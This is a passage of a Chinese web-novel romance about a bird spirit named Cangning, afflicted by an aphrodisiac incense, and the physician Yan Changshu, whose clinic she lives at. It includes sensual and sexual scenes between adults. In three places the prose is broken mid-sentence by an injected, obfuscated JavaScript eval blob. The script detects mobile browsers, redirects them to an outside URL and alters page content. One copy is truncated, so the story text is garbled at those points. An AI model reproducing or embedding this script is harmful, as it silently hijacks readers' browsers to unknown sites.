过了会儿,晏长书推开窗,随手添上一些肉粒,她悄悄摸摸偷过来,一边吃,一边数落着晏长书也染上了丢粮食的坏习惯。 苍宁还会趁着无人时溜进医铺,在里面大摇大摆地巡查。 晏长书这一世拜佛。嗯,房中摆着精美小小佛塑。还有什么?她跳到桌上,在他的药册上张扬地留下几个爪印。又看见几张颜色漂亮的彩纸,朱红的、月白的、天青的、赭黄的……缤纷又漂亮。 苍宁沿着边缘,将这些彩纸全部啃成一条条的,转头插在自己的羽毛里。一条,两条……啃失败就多来几次,直到把这些漂亮的东西全啃完。 最后,苍宁插了一尾巴毛,满意地飞回凤凰木上,回头,她听见念安和晏长书抱怨,外头的鸟儿实在讨厌。 “这彩纸是柳娘子要放在药材上添彩头的。”念安道。 “无妨,再去买些。” “晏大夫,咱们哪有钱天天买彩纸,天天吃肉……”念安嘟囔着,最后叹了一声,“大夫您太心善啦,人要救,鸟儿也要救,一个人哪里能救得了那么多,咱们吃饭都费劲呢。” 这天小盘子还是放了肉沫和水果。 都是她爱吃的东西。 但她今日没有胃口。 她歪头盯着晏长书写字,写什么药材:莲子,黄芪,西瓜霜,听着好吃。他看起来也好吃。 晏长书用笔点点她的小脑袋,她犹豫了一下,还是吃了。 水果好吃,是新鲜的,甜甜的。 苍宁想,念安说得对,晏长书确实不仅对她这只小鸟好,对大家都很好。 晏长书的医铺来者很多。有些是贫苦的百姓,有些是达官贵人的侍从,还有些闹事的,要他交银子,他也肯交,什么都能忍。 还有个穿三色襦裙,戴花儿来的娘子,年轻貌美,几乎每日都来,还拿着漂亮彩纸走了,苍宁忍不住多看了几眼。 她从凤凰木上落到窗台,看见那娘子扶着他的手,正哭诉什么,他蹙眉而视,似心有不忍,为她拿出一方干净汗巾,耐心抚劝。 娘子擦干净眼泪,面色微红,二人郎才女貌,天生一对。 苍宁这才想起来,晏长书也许要婚配的。 他没当她的夫君,现下,许是要去做别人的夫君了。 这样一想,苍宁心里有些不舒服,像长了倒刺。 眼见二人尚在闲聊,苍宁转头就飞下来,轻巧落在小盘子上,敲得簌簌响。 她敲了小盘子又用鸟喙敲支摘窗,持续不断的小动静惹得戴花儿的娘子中断了交谈,她方叫唤了两声。 娘子惊讶道:“这鸟儿怎么弄了一尾巴彩纸?” 念安捧着药材走进来,大声说道:“我知道,医书上有写,这是鸟在发//情。” 晏长书的眉尖几不可闻地动了动。 苍宁听到小屁孩刺耳的话语,敲着敲着把自己敲到窗台下去了,呆楞楞的。 什、什么? 发//情? 柳娘子还在问:“鸟发//情?我倒是头一回见这么漂亮的小鸟发//情。” “漂亮是漂亮,可是脾气真够差。医书上说,发//情的鸟最喜欢惹事搞破坏,它尾巴上弄彩纸——那是发情了准备筑窝呢。”念安将药材好生包起来,“我之前见它在晏大夫手上不停扇翅膀,扭/屁股,它常日里在外头凤凰木顶上待着,傻傻的也不会筑窝,大夫人心善,知道它难受,将它养着呢。” 柳娘子含笑道:“晏大夫真好。” 医铺里倒是一片热闹,苍宁听声音就没敢再飞上去。 她把羽毛上的彩纸都扒拉了,看见自己没恢复好的尾羽,气得跳脚。 什么傻傻的?什么发//情? 她堂堂瑞鸟,三危山出生长大,怎么会发//情?! 这个念安真是坏坏坏得很! 还有晏长书,根本没有为她说一句话。 苍宁越想越气,飞起来,打翻了小盘子,冲到屋檐上,不再在凤凰木上盯着晏长书了。 窗里头还传出柳娘子的话:“发/情能治吗?” 念安道:“治不了,这又不是病,没得治呀。” 治倒是能治,可是净天是根本找不到。小狐狸只说没带晏长书来,净天不会见她。 苍宁每日掐着时间去浮刻山,又一无所获地回来。 眼见月亮日渐肥圆,她在一个夜里情/欲蒸腾,每一条血管都在渴望触碰,瞬间昏死过去。 翌日早上,她在小盘子里迷迷糊糊醒来,看见念安在小盘子里准备了几个小巧圆润的蛋。 她蹲在莹润的蛋上歇脚,身体里涌动的情潮一点没有退潮,反而更加猛烈。 身体是空的,虚的。 她不想吃鸡蛋,听见念安的声音,扑腾一下飞走了。 哪知念安兴致勃勃地过来,冲晏长书道: “晏大夫你看,这鸟产下了两颗蛋!我就说它是在发情,我就知道我说的没错!我的医书背得可熟了!” 他又道:“好像是白蛋,孵不出小鸟。可惜。医书上说,产白蛋很伤身体,还会一直发/情,得□□才行。” 念安把白蛋放进了晏长书手心,说出了更重要的事: “晏大夫,这蛋可以吃!咱们补补!” 晏长书将白蛋收起来:“她呢?” 它? 念安没找到。 鸟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏长书会来她的梦里,并不奇怪。但他不该用这样的眼神,在她的梦里拒绝她。 她呜咽着难受,很难受,他都不来让她开心,让她快乐。 她注意到月亮在窗外,注意到涟漪般荡漾的世界里,他一动不动,没有回吻,始终不肯慰藉她。 她变得得寸进尺,不仅如此,她还要放下报恩的心思,和他讨账。 她难受得流眼泪,口不择言地大骂他的大爱中没有给她留一个位置,她将自己揉皱了,弄湿了,像一团水草,含住他的唇,将浅淡的唇色吮得深红,彻底缠住了他。 就算他不动,他也不可能将她抛开。 除非她放手。 她把所有任性和娇媚都送进这个梦里,连带着自己无药可救的面子和羞耻心。 她呵斥他,命令他。 她靠在他的胸膛上,发出浅浅的,让人着迷的哼笑,张唇含住了他颤动的喉珠。 他的身体也逐渐有了相同的温度。 她勾着他的脖颈,轻轻地笑。 “看我。” 她握住他的手腕。 她感觉到他僵硬的像是棺材板,低声笑话他。 他是她的工具,但她不允许他成为真正的工具,她不允许他看不见她。 她搂住他的臂膀,发现他的背湿透了,有什么饰物从他上衣透出来,像是个圆圆的佩环。他的耳垂是红的,仍然比她要凉。 “晏长书,那是一尊死物,你看我呀。” 他怎么可以不看她? 他怎么可以看不见她? 于是,在月圆的夜里,他任凭摆布,手腕僵得难受。 很久很久之后,她满足地睡过去。他的睫毛颤了颤,垂下来,遮住了眼底的情绪。 他的脖颈像没上油的机关,脊背挺得笔直,把克制的欲念卡在思绪中。 他甚至忘记了该怎么动。 她的身体没那么烫了,他该准备水。 水…… 晏长书黑眸如浓墨般,晕不开。 他低下头,避开了那尊小小的佛祖塑像,视线终于朝她的方向动了动。 他看见了顺着自己指尖滴落的,她脚尖上的,地上的。 已经有些冰凉的,粘稠的,草叶上的春露,反射着碎琉璃一样的月光。 他没有任何纾解,没要任何解释。 她睡在他的怀里,臂膀下压着挂在他脖颈上的卍字戒。他庆幸她睡着了,醒来时,便可以当做一切没有发生过,她就不必为此难为情。今晚,只当是他等了太久,送来的一个过于真实的美梦。 他用那只接触过她温暖的手,想要碰碰她的唇。 “苍宁……”他的声音哑透了。 他犹豫了半晌,手僵在半空,隐忍着,眼神又暗下几分。 最后,他将沾着春露的指弯送进自己的唇中。 如饮鸩止渴。 42. 第二世·三 辰时。 璨璨日光从支摘窗照射进来,将房内煨上一层暖暖的金光。空气中跳跃的尘粒金光闪闪,闲适地游荡。 房内的物件都很整洁,地面上没有任何水迹。书柜中摆放着整齐的发黄的旧书,从诗词歌赋到佛道文章,从医书药籍到史册说辩,书桌上摆着简陋的毛边纸,留了点新墨痕迹。 床榻上,柔软的被褥翻在美人莹润的腿肚子旁,随着平稳的呼吸一起一伏。长而乌亮的头发垂落身侧,发尾在腰际打了个卷,惹人想要勾顺。 日光随时间移动。 苍宁在半梦半醒之间,感觉日光拂在她的眼睛旁。她迷迷糊糊翻了个身,抱着软香的被褥继续睡。 她很久没有感觉身体这么轻松愉快,睡得这么舒服了,仿佛什么事情都没有发生过。 等等。 她意念一动,努力睁开眼,分辨着自己身在何处。 有点眼熟,但不多。 她想了想,忽然猛地坐起来,巡视了一圈。紧接着,她两手快速摸着自己的身体,发觉衣裳好好在身上,一件没少,这才放下心来。 她缓缓舒出一口气。 吓死她了,她还以为自己真的被暖香熏晕了头,随便跑到别人家里对良家男霸鸟硬上弓呢。 哈哈哈。 再等等…… 她记得自己睡着之前……的确是鸟身啊? 正值此时,门口传来“笃笃”的敲门声,念安问道:“娘子,你醒了吗?” 苍宁一愣,拉长声音嗯了一声。 这声音有些软媚,不似平常。她格外不适应,连忙咳嗽调整嗓音,恢复清明。 “醒了醒了。” - 苍宁没想到自己会以这样的方式和晏长书再见。 她下床榻时还在思考自己要不要逃跑,没成想,一出门就被念安拉去食晨餐。 晨餐热过,他们大约起得很早。 医铺里人来人往,多是来抓药材的。晏长书人不在,念安说是去柳娘子家问诊了。 小屁孩忙个不停,但眨巴眼,红着脸,莫名变得乖巧,还特地问她要不要吃肉。 “本来是买来给小鸟吃的,晏大夫说,小鸟好了,飞走了,许是不回来了。娘子要是不嫌弃,就补补身子吧。” 做得喷香的红烧肉当浇头盖在根根分明的面条上,撒上一小把葱花,色泽油亮。苍宁咽了口口水,心想干什么和美食过不去,便喜笑颜开地拿起筷子吃得干干净净。 饱食后,念安拿来几颗橘子,冰糖一样甜,她把果皮剥了,嫌白色的经络多,随手要扔,念安手脚快,忙搂住剩下的橘子,帮她剥开,果皮放一堆,白色经络放一堆,果肉都留给苍宁吃,把剩下的东西带走了。 等苍宁心满意足,顿觉无恙。果然,这暖香忍一忍,也能过去嘛。 她问道:“晏大夫常去柳娘子那儿吗?我瞧着之前柳娘子常来。” 念安很是意外,张唇道:“娘子怎么知晓?娘子是本地人吗,怎么以前从没见过?” 苍宁恨自己嘴快,哈哈一笑:“我是浮刻山来的,浮刻山。” 念安又是一阵吃惊:“听闻浮刻山有鬼魅横行,常有俊美郎君失踪,柳娘子的哥哥便是从那里逃出来的,那会子,曲阳城头,彩云当照,有青鸾啼阳,城里头都传柳娘子的哥哥是命好,今年准是要高中呢!” 苍宁半是尴尬,半是吃惊。一则她青鸾原身果然被世人瞧见了,被人传来说道,这并非她本意。二则,她不曾想净天会放郎君出浮刻山。 原来,柳娘子日日前来,是为了自己的哥哥?既然能出来,那柳郎君是否也中了暖香? 念安摇摇头:“我现在是药童,还跟着晏大夫学呢,说不准这些。不过,柳家郎君的病确实快好了,之前柳娘子还托我买彩纸。” 苍宁一听,不敢置信道:“晏长书的医术竟堪比神仙了!那感情好,我,我,我还是等他回来问问吧。” 念安愣了愣:“娘子是晏大夫的熟人?” 苍宁支支吾吾:“以前挺熟的,现在不熟了。” “远方亲戚?” “大哥的表叔的远方家舅婶母的弟弟的表妹。” “哦……这么远啊。” 苍宁讪讪地笑。 念安似懂非懂:“晏大夫被抄了家,平日可没人敢和他认亲戚。” 苍宁唔了一声,漫不经心地拨弄自己的头发: “和他?我敢啊。” 如果……如果她赌一把,也许晏长书不会有事,小花也不会有事,大家都好好的呢? 也许有这种可能呢? - 苍宁渴了喝茶,闲了看书,期间还给佛祖上了一炷香,偷偷摸摸传话: “世尊,您知道的,我们青鸾一族都是瑞鸟。如果只是因为我出现了坏了因果,我的错,我愿意负责,能不能不要惩罚他?” 苍宁挣扎建议: “可人是一团欲望,连神仙成道都算一种欲望,真的要放下一切欲念,一肚子吞下,连回应都算恶果吗?我是说……我只是说,你们那么讲因果,是不是也有一本命册什么的?能不能在上面写上,苍宁在晏长书第二世里路过,没有任何一个人因此在意和失望这行字呢?” 苍宁等了好一会儿,念安问她怎么傻傻地痴立在佛祖面前。 她说,她在等佛祖回话。 佛祖没有回话,仅仅是笑看着。 念安奇怪地看了她一眼,正巧,晏长书回来了。 - 晏长书是和柳娘子一块儿回来的,苍宁回身一转,一张脸庞虽不施粉黛,却仍是天香颜色。不少人往医铺里打量,柳娘子更不例外。 柳娘子将食盒放下,笑道:“呀,真是天仙一样的娘子,是来寻晏郎的么?” 啊? 怎么前几天还叫晏大夫,今日就改叫晏郎了? 苍宁的笑僵在脸上,来来回回,上上下下打量着晏长书。他的神情很客气,像是和两个人都不熟,有种清冷的疏离和隔阂,连眼神都不在她身上停留太久。 苍宁很是不满。 她美眸转了转,硬生生转到别处去了。 柳娘子道:“哎呀,瞧我这嘴。妹妹别在意,我和晏大夫是熟相知,并没有什么……” 苍宁笑道:“姐姐,我当大夫姓什么呢,原来是个活阎王啊。” 念安愣了愣,柳娘子也愣了愣:“是日安晏,娘子……娘子和晏大夫不相识么?” “也不能说不相识吧。”苍宁迎着念安疑惑的目光,把什么舅婶母什么远方亲戚的说了一遍,最后乱张口,将晏长书认成了八竿子打不着的哥哥。 柳娘子连连点头,有点懵,她没相信,转头向晏长书确认,晏长书一言不发,净手后收拾药材,广袖滑落,露出手臂上一道发了狠的齿印来。 “哎呀,晏大夫你手上……” 苍宁瞅了瞅,是个咬印。 他被狗咬了? 晏长书淡淡收回手:“不要紧的事。” 他说得轻巧,一时间,医铺内陷入了巧妙的寂静。 苍宁倒不觉得尴尬,她转而问起柳娘子的哥哥,说自己也是从浮刻山投奔而来的,问郎君有没有中毒。 “中毒倒是没有,好似是中了邪气,身子烫得很,嘴里痴痴念着什么日啊月啊方啊花啊平啊之类的。”柳娘子道,“多亏了晏大夫,他将将好,已经起来念书了。” “真是刻苦啊。” “科考在前,他一刻也不敢耽误的。”柳娘子叹道,“若晏郎去,肯定能高中,可惜。” 晏长书眉梢不动,笑容如若冬月里的日光,有种不切实的暖。 柳娘子寒暄过后,离开了医铺。 苍宁玉柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030036|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般立在柜台前,看他在药斗子前分拣药材。 灵巧苍白的手指,骨节分明,将它们分到各自应该在的位置上。 见晏长书不说话,她倒是开口道谢了。 苍宁说自己昨日定是晕倒了,谢谢晏哥哥救她,又说自己和柳家郎君一样,从浮刻山来,正想要寻个救治的法子,遇见了晏哥哥,是缘分。 她的声音悦耳动听,又生得花容月貌,不应叫人气恼。 可晏长书沉默着听了半晌,黑眸沉下来,语气冻得吓人:“谁是你哥哥?” 苍宁眨眼。 哥哥才好啊,认了这层关系,应当不会出现像伴侣那样割舍不了的情况吧。上一世,她和他的关系太过近了,才让他变了性子,出现了不好的结果。 苍宁又耐着性子解释了一遍自己的谎话,差点说错那哥哥的舅婶母的什么表妹。晏长书一瞬不瞬地盯着她,回头继续忙,念安极有眼力见,逃之夭夭,和兔子一样快。 他捻起笔,润了墨,开始写字,不想理会她,她捉住他的毛笔,指尖触碰到他的皮肤,只觉指尖的温度一下子又如涟漪般漾开,丝丝酸软。 热意在身体中回荡开,简直食髓知味般渴求他的触碰。 苍宁没发觉自己的指尖在他虎口处轻蹭,水眸轻眨,带着不知所谓的笑:“晏哥哥孤身一人行事,既然收了念安,多一个妹妹又有何干系?” 他的脸色不好,从纸笔中抬起眼来,如枝头雪。 “都说送佛送到西,哥哥只当好人做到底吧。”苍宁含笑道,“日后,等我离开,定会记得好哥哥的恩情的。” 他躲开她略带薄茧的纤指,再次净了手。 淅淅沥沥的水顺着他的指尖流淌下来,一滴一滴,落到盆里。 他用软布擦着手,紧绷着,脸色也紧绷着。 沉默可以杀死时间。 苍宁咬了咬唇,对上他的视线。 他眉头一动,将右手食指和中指擦干净,揉了揉带着褶的柔软布料。 这两指昨日尚在温暖紧/窒处。 被缠得那么紧。 昨夜她分明唤了他的名字,今天一醒来,她便不记得他的姓名。 晏长书在心底嘲讽自己。 他以为从鬼门关游了一趟,抛却了孟婆汤,等了那么久,他会足够有耐心,只要能见她一面,什么都可以接受—— 鬼影接踵的鬼界中,众鬼听见她的名字,心有余悸,恭恭敬敬,都言她是神鸟,是曾经鬼界的主子。 从那时他就应当接受,她与他不是一路人。 接受他只是她生命中一小粒尘埃,无足轻重的过客。 接受她不会为他驻足,更不会因为卑劣的自私的凡人而回来。 他应当已经学会放下欲望。 应当想清楚了。 他应当像施医赎罪一样,给予她关照的温暖:哥哥,是啊,哥哥就很好。而且,这一世,她已经在开头就说要离开了。 可遇见她,他的理智还是从克制和秩序中出逃了一瞬。 就像在佛祖前,掩下了自己的目光。 不过是自欺欺人。 晏长书极力控制心神。 这很好。人终将是要死亡的。 晏长书对她来说,算不得什么稀罕东西。 他上一世卑劣的占有,更算不得什么。她最好忘记。 忘得一干二净。 这样他就不必揣测也许这段回忆还有一席之地。 见他阴郁脸色,苍宁觉得他不信,还补充道:“一路走来,有人帮了我,我都没有忘记过她们的恩情。哥哥自然也算进去。” 他情回百转,嫉妒与思念交织,仍是压不住心中阴暗沉怒。 一路走来。好一个一路走来。 他勾唇冷笑追问: “苍宁,一路走来,你有几个好哥哥?” 43. 第二世·四 他知晓她的名字,许是昨夜她告诉了他? 苍宁不明白他为何这样说,更不明白他对旁人这样温柔,对鸟儿这么温柔,却对她这么冷厉。 莫非是因为在他看来,她是个忽然冒出来的,有坏心眼的坏女人? “我绝无坏心,更没有几个哥哥。晏长书,你可不要胡说八道。” 晏长书的眸光跳跃着,煨着一团暗火。 苍宁最讨厌被人冤枉,哼声道:“我是满腔真心的。你虽救了我,可我也不是奴颜婢膝之辈,做不来多余的自证清白之事。你爱信不信,再这样,我不理你了。” 她眉尖轻蹙,撑着脸,半气半恼,手腕上两滴血痣媚而妖红,将身子一扭,似乎真不理他了。 可偏生半回转头来,偷偷瞧他的反应和模样。 她瞪他:“你这样看着我做什么?” “只有我一个?” “算是吧。” 晏长书将视线掩下,继续忙碌着。 半晌后,他又停下,胸腔中卡着一股气,哑声问: “哥哥可以做什么?” 哥哥可以做什么?好问题。 哥哥可以照顾她,给她继续买米买水果,肉可以少来些,让她把漂亮羽毛养好。 哥哥可以带她去见见病愈的柳郎君,让她打探打探柳郎君的情况。若真能治好柳郎君,那哥哥也肯定够能治好她呀。 哥哥还可以多多关心她,最好和卍象图里,和在他第一世那样,对她言听计从。 但是,不可以靠她太近。不可以随便触碰她。 苍宁把这些告诉了他。 晏长书几乎做到了,但曲解了。 比如平日里,仍是冷着,从不对她温柔地笑。 比如靠近她,便是衣袖叠在一起,也会迅速抽身走开,好像她有什么病症似的。 比如出去问诊,去见柳郎君,他便死活不肯带上她。 奇怪,不论是貔大虎还是西王母,抑或是灵尘和菩萨,不都说晏长书悟性很好吗? 他领会错意思了吧? 苍宁是怕碰到他后,自己身体里的暖香大爆发,也怕他重复上一世的悲剧,不是让他嫌弃她啊! 念安吃完饭,忍不住说道:“晏大夫好像讨厌娘子,娘子别跟去了。” “他怎么这样,真奇怪。”苍宁无语,已然有些薄怒。 “但是晏大夫又好像没那么讨厌娘子,娘子可能不知道,晏大夫会省下好些银子给你买你想要的东西,夜里也……”念安顿了顿,强硬咳嗽一声,转口道,“可是娘子瞧上去非富即贵,当真瞧上了晏大夫吗?” 苍宁皱眉:“什么?我?我看上去像是看上他了吗?” 念安点头:“不过娘子和晏大夫一样,好像有点讨厌晏大夫,又没那么讨厌晏大夫,有时候对他凶巴巴的,还给他定好多规矩,但有时候又很温柔。还会看着他笑,笑得……” 苍宁木着脸:“笑的什么?” “笑得很吓人。” “……” “怎么说呢,”念安想起一个例子,绘声绘色道:“哦,我知道了!我知道像什么了,就像话本里那种勾人的狐狸精,要勾穷书生的时候,就会变成一个美女,天天对他笑,其实根本不喜欢书生,是为了吸穷书生的阳气,然后把他吃掉。” 苍宁打了个哈欠:“有能力的美女有直接目的的话,哪有那么多弯弯绕绕。尤其是一个妖怪和一个人,就算是弱小的妖,要整人也是随随便便。想要吃了他,那还不是肉卷菜叶一口包?若不是心有真情,生了爱意,有跟穷书生谈恋爱的工夫,都能吸几百个人的阳气了。我看啊,这就是那些求之不得,又中不了举,睚眦必报的穷书生用来意/淫的。” “哦,好吧。” “不过,我真的有这样对晏长书笑吗?”笑到都能让一个小屁孩觉得,她苍宁瞧上了晏长书的程度? 念安抿唇道:“曲阳城里头都知晓,晏家曾富甲一时,晏大夫俊美,当时有许多娘子掷瓜投果,以表爱慕。可惜现在晏家已经没了,曾经来往的世家中,只有柳家肯借出银两,让晏大夫开了个营生的医铺。” “我是晏大夫捡来的孩子,人情冷暖也见过些了。我是觉得……娘子是天仙一般的人物,想来应当是过路人,不是真心喜欢晏大夫吧。自从娘子住在这里后,柳家娘子便不常来了,本来看情况……她和晏大夫也是一双璧人。” 苍宁听到这里,抿着唇不悦道:“你真这样觉得?” 念安眨眨眼睛:“晏大夫对柳家娘子很温柔呀。对娘子实在是……” 实在是不像晏大夫本人了。 念安建议道:“要不然,你去瞧瞧其他郎君?柳家郎君?听闻他生得也很好看。” 苍宁冷笑:“你还当什么药童学什么医,我看你拿根红线牵着去拜月老吧。” 一顿饭吃完,苍宁心里格外恼火,促得她浑身又开始发痒似的热,忍不住想对晏长书做点什么,才能缓住心里头那股媚意。 白日里还是能控制,夜里一沾床榻,便失去了意识,也算是好事。 可她和晏长书说话,那人跟死人一样,压根儿不瞧她一眼。 她递过来的东西,他居然不直接伸手拿,而是要她放在桌上,他再去拿。 他总喜欢净手,把手指擦得干干净净,指甲也剪得平整。 这几日他往手上抹些霜膏,一双手更显得白而光滑,只是指腹上的茧子还留存着,是去不掉的。 现如今春夏交接,不似秋冬那般干燥,苍宁问他抹这些做什么,他也不答话。 见状,她说她也要用,他把东西找出来,一个圆圆的瓷瓶儿,散发着浅浅的花香和草叶味道,苍宁格外喜欢。 她伸出一双漂亮、细长但有力的手,十指纤纤,要他给她抹。 他拒绝这样做,她便撅着嘴,眼睛垂下来,带着点软媚,哄道:“好哥哥,帮帮我嘛。” 晏长书面色冷峻,一双眼瞳如墨玉般,闪着点说不清道不明的光。 苍宁还以为他就是铁了心不想理她,谁知,他却慢慢从药箱中掏出个银质的小勺子,从瓷瓶儿中弄出一点,用小勺子搁在她手背上。 苍宁嫌霜膏少,要他再弄些,晏长书给她,她还要再弄多些。 他给了她,到最后,她要够了,便慢吞吞地在手上抹均匀。 果然抹多了。 苍宁将多余的霜膏抹到他指上去,从他微凉的手心滑过,十指相交,一双手滑溜溜,像无法控制的心事,抓不住的鱼。 她瞧见他吃瘪的样子,嗤嗤得意地笑。 空气中弥漫着一股子膏霜的香气。 晏长书将手放下来,五指微动,虚虚一拢:掌心留有一抹滑腻的痕迹,难以忽视。这让他想起夜晚的亲昵,无人知晓的甜腻。 他的心跳得极快。 往后,他就再没上过她这门当。 苍宁觉得有趣得紧,还是爱找乐子。不过,她实在是分不太清楚这种乐子和以前的乐子有什么不一样。 但她知晓,这些乐子她不会用在其他人身上。 满口乐子里,她到底说了几句真话。 她告诉晏长书,自己中了一种暖香,要是解不开,事情会很麻烦。她是为了解香才留下来的。 晏长书听闻,脸色变得更差了点。 他冷着声,询问: “什么症状?” “很热。”她明眸善睐,顾盼生辉,行动间,还是淌着股子暖香带来的娇媚,“热得我想飞起来,天天淋雨。可是雨又不来,我只能忍。热得我头昏脑涨,手软无力,热得骨头里都很痒,好在最近晚上热晕了,什么都不记得。早上起来,身子虽然酸软,但还挺爽利。” 晏长书黑睫微缠,叹气道:“你都解不开,你怎知我就能解开?” “不是说柳家郎君从浮刻山回来,你治好了吗?既然这样,我的你也能治好吧。” 他将唇抿成一条直线,问道:“苍宁,到底是谁能给你下媚……暖香。你受伤了吗?他意图不轨吗?” 尽管他没有什么表情,但是苍宁听得出,他有些担心。 她唔了一声,莞尔道: “除了解不开外,倒没受到什么伤害。但一直解不开,我就没办法做事儿了,将我原本的计划搅得一团糟。” “原本的……计划?” 他低着头,勾开一抹笑,像是自嘲。 沉默间,他像是接受了某件事实,低声问道: “当真无药可医么?” “倒也有。” 叫晏长书去净天那儿,说些让净天开心的就行。可苍宁无论如何也不愿就这样让净天如意。 她说道:“但不是我心里最好的解法。我重要的人还捏在那人手上,若哥哥能替我解了,我就去救她。” “那时你便要走了?” “对。” 晏长书瞧着她,唇边的笑意凝滞着,泠泠然,如乌云撞月,蒙上纱。 “怎么了?” 他在沉默后,说道: “我解不开。” “什么?” “我解不开。” 苍宁皱眉,问道::“晏长书,你是不是……有点讨厌我?” 不知道为什么,分明说得好好的,晏长书忽然就生气了。 苍宁觉得他这一世真有点阴晴不定。 晏长书星眸半敛,抄手靠在柜边,慢慢嗯了一声。 “没错。苍宁。你说得从来都没错。” 但念安说得也没错,晏长书好像讨厌她,又好像不讨厌她,每每早起的时候,她身子都会酸软,晏长书会特地吩咐念安给她准备一碗不知什么药材煮的补品,说是她身子虚。 她没怀疑过晏长书要害她,给什么喝什么。 今日,晏长书亲自端过来,还送来一叠苹果片。苹果切成小兔子的形状,特别可爱,苍宁一口一个,吃得两腮一鼓一鼓的。吃完之后,他又剥了橘子,亲手喂到她嘴里。 早上他的心情似乎会格外好。 可要去柳家,他还是不愿意带她去。 苍宁有怨念。 他不愿和她说话,去柳娘子家,倒是勤快! 苍宁把橘子一个个咬死,恨恨的。等晏长书拾掇好出了门,苍宁咬着唇想跟上去,被拒绝,只得转身变回了小鸟团子,飞到他肩膀上。 小鸟团子是苍宁原身等比例缩小来的模样,在医铺吃吃喝喝这些天,被养得水光滑亮,尾羽也长好了。 晏长书伸出食指戳戳小鸟团子的下巴,苍宁便歪着头,等他伺候。从下巴摸到小脑袋,再摸到翅膀下。 苍宁感觉身体里的热度又在回应他,便轻轻啄了他一口,示意他停下,他及时收手,目光柔下来,轻声道:“羽毛长好了,很漂亮。” 他对鸟儿倒是温柔。苍宁一边想,一边挺起小鸟胸脯。 他们从河边经过时,她还要跳到河岸上,东瞅一下,西瞅一下,盯着水里的小鸟团子,歪头,整理,又瞅一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030037|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 叽叽嘤啾! 太好看了! 倒影很清晰,她的羽毛果然根根柔顺又漂亮。 小鸟团子骄傲地飞回晏长书的肩膀上,满身乱跳,扑腾翅膀,紧贴在他脖颈旁边梳理羽毛。 直到去到柳家,苍宁才安安静静不再动了。 看见柳家的门面,她这才明白念安说的是什么意思。 柳府的确是大户人家,屋宇飞檐翘角,庭院深深,怪石嶙峋,竹林青瓦。宅院里多的是穿着精贵的下人,他们都很熟悉晏长书,恭恭敬敬行礼,将她带到柳娘子所在的地方。据闻,现在是柳娘子当家。 柳娘子站在院里迎他。她今日穿得绛紫色襦裙,头上簪花,一条披帛勾勒出曼妙的身姿,整个人看上去干练又大方,只是眉目带忧,有些愁意。 “晏郎今日带了小家伙来?” 柳娘子见小鸟团子可爱,想要碰一碰,苍宁反应激烈,不让她碰自己刚梳好的羽毛,跳到晏长书发冠上。 晏长书将她拿下来,柔声道:“柳家郎君还病着,你且安静些。” 什么病着啊,不是好了嘛! 但看在晏长书这么温柔的份上,她可以勉强安静会儿。 苍宁站在他肩上,柳娘子惊讶道:“这鸟儿真有灵性,能听懂晏郎的话。” “柳郎今日如何?” “唉。不成。晏郎随我来吧。” 苍宁数不清经过了几道门,柳娘子屏退了所有下人,单她和晏长书两人走进了封锁的院落中。 僻静的院落打扫得干干净净,一位身着锦衣的郎君扒在树上,大声喊叫。他时而激动,时而沮丧,眼中发出异光,他一只在找狐狸,说是有狐狸变做了绝色美女,他一定要找到。 他开始挖洞,手指上全是泥,又挥舞剑,仿佛在与敌军厮杀。 他完全无视了柳娘子和晏长书,像是疯掉了。 “他状况时好时坏。”柳娘子道,“前几日清醒了些,还说要念书,去科考,这几日又疯疯癫癫。我想请晏郎再开几副药,剂量重些。” “他扛不住。” “让他先睡下。”说着说着,柳娘子又流下泪,“他几日没睡了,一直这样,我请了道士来,道士竟说他没中邪,我真不知该怎么办了。” 苍宁眯眸细瞧,柳郎君确实是没中邪,也不受小鬼侵扰,而像是精神错乱。 柳娘子哭道:“晏郎……拜托了。” 苍宁歪着头,看晏长书。她余光瞥见屋宇内有什么毛茸茸的东西一闪而过,但没看清楚。 晏长书给开了两副药,柳娘子亲自去拿,一路上,柳娘子似乎想要开心些,便说起她与晏长书儿时的回忆,越说苍宁越觉得心沉沉的,不爽极了。 什么白日里在学堂念书,又是关关雎鸠,君子淑女的,又是如圭如璋,又是与子同袍的。 什么夜里去钓鱼,结果掉进荷塘的。 回到医铺,柳娘子问道:“那位苍宁娘子呢?” 小鸟团子不过打了个转身,就从晏长书屋里走出来,明艳道:“在这儿呢。” 念安吓了一跳,晏长书转身去拿药,趁着没人,苍宁直接问道:“柳娘子欢喜晏郎?” 柳娘子定了定神,大方道:“是。苍宁娘子恐怕不知晓,我们柳家曾与晏家差点结缘。” “哦。” “苍宁娘子也欢喜晏郎么?” “没有啊。” 苍宁抿唇,又说了一遍:“没有的事。他挺讨厌我的,我也不欢喜他。” 便在此时,晏长书从拐角处冷着脸转出来,苍宁张了张唇,见他对柳娘子扬起笑颜,暗道他应当是没听见。 可直到送走柳娘子,他都没有看她一眼。 “晏长书。” 她唤他。 “晏长书——” 她拉长的嗓音唤他。 他终于停下来,眼神如同冬月推冰,刺了她一下。 “不是唤我哥哥?” “哥哥。” 她轻轻喊他:“你看看我,怎么治呢?” 怎么治呢? 